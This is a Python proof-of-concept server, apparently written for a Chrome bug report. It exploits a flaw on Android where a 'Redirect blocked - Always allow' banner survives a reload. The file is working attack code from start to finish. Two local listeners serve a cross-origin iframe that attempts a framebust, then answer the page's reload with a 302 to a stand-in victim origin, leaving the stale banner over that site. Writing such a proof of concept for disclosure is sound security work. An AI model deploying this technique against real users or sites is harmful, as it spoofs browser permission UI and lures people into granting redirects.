#!/usr/bin/env python3
"""
POC server for the FramebustBlockedMessageDelegate isReload() bypass.

Runs two HTTP listeners on the same loopback interface:
  - port 8080  -> "attacker top" origin   (serves a.html, then 302s on reload)
  - port 8081  -> "attacker sub" origin   (serves f.html which framebusts)

Because the two ports are different origins, the iframe at :8081 is
cross-origin to the top frame at :8080, so its `top.location = ...`
assignment (with no user activation) is blocked by Chrome's framebust
intervention, which on Android enqueues a NAVIGATION-scoped
"Redirect blocked" message via FramebustBlockedMessageDelegate.

On the *second* request for /a.html (the location.reload() issued by the
page), the server replies 302 -> https://example.com/ (stand-in for
victim.example). NavigationHandle.isReload() is true for that commit, so
ScopeChangeController.didFinishNavigationInPrimaryMainFrame early-returns
and the stale "Redirect blocked - Always allow" banner survives over the
victim origin.
"""

import http.server
import socketserver
import threading
import sys

HOST = "0.0.0.0"   # listen on all interfaces so a USB-forwarded Android
                   # device (adb reverse) or LAN device can reach it
TOP_PORT = 28080
SUB_PORT = 28081

# Target the top frame is sent to when the framebust fires. Any URL works;
# this is what the stale banner will OpenURL() to when the user taps
# "Always allow redirects" while looking at victim origin.
EVIL_URL = "https://www.chromium.org/"

# Stand-in for victim.example.
VICTIM_URL = "https://example.com/"

a_html_hits = 0
lock = threading.Lock()


def top_page(host_hdr: str) -> bytes:
    # The iframe must be cross-origin to the top frame; reuse the same host
    # the client used to reach us but on SUB_PORT.
    host_only = host_hdr.split(":")[0] if host_hdr else "localhost"
    sub = f"http://{host_only}:{SUB_PORT}/f.html"
    return f"""<!doctype html>
<title>attacker top</title>
<h1>attacker.example (port {TOP_PORT})</h1>
<p>1. The cross-origin iframe below will try <code>top.location = "{EVIL_URL}"</code>
   without user activation &rarr; blocked by the framebust intervention &rarr;
   Android shows a "Redirect blocked &mdash; Always allow" banner.</p>
<p>2. After 1.5&nbsp;s this page calls <code>location.reload()</code>. The server
   answers that reload with <code>302 {VICTIM_URL}</code>.</p>
<p>3. Because <code>NavigationHandle.isReload()</code> is true,
   <code>ScopeChangeController</code> does <b>not</b> dismiss the banner, so it
   survives over the victim origin.</p>
<iframe src="{sub}" style="width:90%;height:120px;border:2px solid red"></iframe>
<script>
  // Give the iframe time to load and attempt the framebust, then reload.
  setTimeout(() => location.reload(), 1500);
</script>
""".encode()


SUB_PAGE = f"""<!doctype html>
<title>attacker sub</title>
<body style="background:#fee">
sub.attacker.example (port {SUB_PORT}) &mdash; attempting framebust&hellip;
<script>
  // No user activation: cross-origin subframe navigating the top frame.
  // Blocked by the framebust intervention on Android.
  top.location = {EVIL_URL!r};
</script>
""".encode()


class TopHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        global a_html_hits
        if self.path in ("/", "/a.html"):
            with lock:
                a_html_hits += 1
                n = a_html_hits
            if n == 1:
                body = top_page(self.headers.get("Host", ""))
                self.send_response(200)
                self.send_header("Content-Type", "text/html; charset=utf-8")
                self.send_header("Cache-Control", "no-store")
                self.send_header("Content-Length", str(len(body)))
                self.end_headers()
                self.wfile.write(body)
                sys.stderr.write(f"[top] served a.html (hit {n})\n")
            else:
                # location.reload() lands here -> cross-origin 302.
                self.send_response(302)
                self.send_header("Location", VICTIM_URL)
                self.send_header("Cache-Control", "no-store")
                self.end_headers()
                sys.stderr.write(
                    f"[top] reload hit {n} -> 302 {VICTIM_URL}\n")
        elif self.path == "/reset":
            with lock:
                a_html_hits = 0
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"reset\n")
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        pass


class SubHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/f.html":
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Cache-Control", "no-store")
            self.send_header("Content-Length", str(len(SUB_PAGE)))
            self.end_headers()
            self.wfile.write(SUB_PAGE)
        else:
            self.send_error(404)

    def log_message(self, fmt, *args):
        pass


class ReusableTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


def serve(port, handler):
    httpd = ReusableTCPServer((HOST, port), handler)
    sys.stderr.write(f"listening on {HOST}:{port}\n")
    httpd.serve_forever()


if __name__ == "__main__":
    threading.Thread(target=serve, args=(SUB_PORT, SubHandler),
                     daemon=True).start()
    serve(TOP_PORT, TopHandler)
